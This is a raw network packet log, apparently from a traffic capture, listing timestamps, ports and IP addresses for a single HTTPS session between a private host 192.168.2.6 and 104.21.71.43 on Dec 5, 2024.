Dec 5, 2024 15:04:40.190689087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.190702915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.190809965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.190814972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.190999031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.339838982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.339869976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.339992046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.340018034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.340171099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.345057964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.345076084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.345139980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.345146894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.345200062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.350625038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.350641966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.350704908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.350713968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.351856947 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.356468916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.356487989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.356553078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.356559038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.356791019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.361531019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.361548901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.361620903 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.361628056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.361690998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.366940022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.366955996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.367047071 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.367053986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.367170095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.372761965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.372777939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.372838020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.372843981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.372903109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.383122921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.383146048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.383205891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.383212090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.383275986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.531821966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.531846046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.532008886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.532037973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.532192945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.537591934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.537611008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.537658930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.537672043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.537698030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.537714958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.542665005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.542682886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.542728901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.542735100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.542762041 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.542776108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.548413992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.548429966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.548588991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.548612118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.548656940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.554091930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.554110050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.554178953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.554187059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.554244995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.559524059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.559540033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.559602976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.559609890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.559664011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.565316916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.565334082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.565378904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.565385103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.565412998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.565428972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.575237989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.575257063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.575323105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.575329065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.575853109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.732482910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.732520103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.732635975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.732666969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.732819080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.737595081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.737615108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.737689972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.737710953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.737754107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.743362904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.743391037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.743460894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.743484974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.743530989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.749135017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.749157906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.749218941 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.749234915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.749285936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.754880905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.754898071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.754975080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.754990101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.755378962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.760413885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.760432959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.760495901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.760512114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.760576963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.765549898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.765568018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.765635967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.765654087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.765734911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.771585941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.771600008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.771749973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.771773100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.771850109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.924561024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.924585104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.924743891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.924765110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.924810886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.930221081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.930242062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.930311918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.930319071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.930361986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.935337067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.935360909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.935472965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.935487032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.935530901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.941031933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.941051960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.941126108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.941138983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.941178083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.946777105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.946808100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.946908951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.946918964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.946957111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.952367067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.952383995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.952471018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.952476978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.952511072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.957967997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.957987070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.958142042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.958147049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.958182096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.963088989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.963105917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.963165045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.963171005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.963212013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.116864920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.116890907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.116991997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.117017984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.117063999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.122473955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.122488976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.122566938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.122581959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.122618914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.128263950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.128284931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.128360033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.128381968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.128428936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.133486032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.133512974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.133583069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.133595943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.133637905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.139180899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.139215946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.139400005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.139400005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.139416933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.139465094 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.144589901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.144617081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.144707918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.144726038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.144773006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.150401115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.150429010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.150501966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.150510073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.150552988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.156119108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.156145096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.156234980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.156241894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.156291008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.309340954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.309366941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.309547901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.309571028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.309622049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.314403057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.314418077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.314495087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.314502954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.314553022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.320233107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.320249081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.320369005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.320374966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.320436001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.325943947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.325961113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.326055050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.326061010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.326107025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.331768990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.331785917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.331872940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.331882000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.331907034 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.331926107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.337126017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.337148905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.337220907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.337235928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.337282896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.342221022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.342236996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.342319965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.342330933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.342391014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.358720064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.358741999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.358841896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.358850002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.358894110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.501775980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.501812935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.501982927 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.502010107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.502055883 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.507319927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.507339954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.507405996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.507412910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.507466078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.512480974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.512497902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.512576103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.512582064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.512626886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.518178940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.518193960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.518274069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.518296003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.518342018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.523966074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.523982048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.524058104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.524065018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.524101973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.529589891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.529612064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.529683113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.529689074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.529731035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.535217047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.535234928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.535298109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.535304070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.535343885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.550791979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.550828934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.550946951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.550951958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.550993919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.693881989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.693907022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.694063902 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.694082022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.694129944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.699573994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.699590921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.699793100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.699799061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.699846029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.705440044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.705455065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.705517054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.705522060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.705564976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.710470915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.710489988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.710566998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.710572958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.710618973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.716227055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.716240883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.716300011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.716305971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.716346025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.719119072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.719207048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.724221945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.724236965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.724303961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.724309921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.724350929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.740287066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.740308046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.740370989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.740375996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.740427971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.746186972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.746213913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.746254921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.746259928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.746303082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.888530970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.888554096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.888618946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.888634920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.888667107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.888685942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.894234896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.894257069 CET	443	49906	104.21.71.43	192.168.2.6
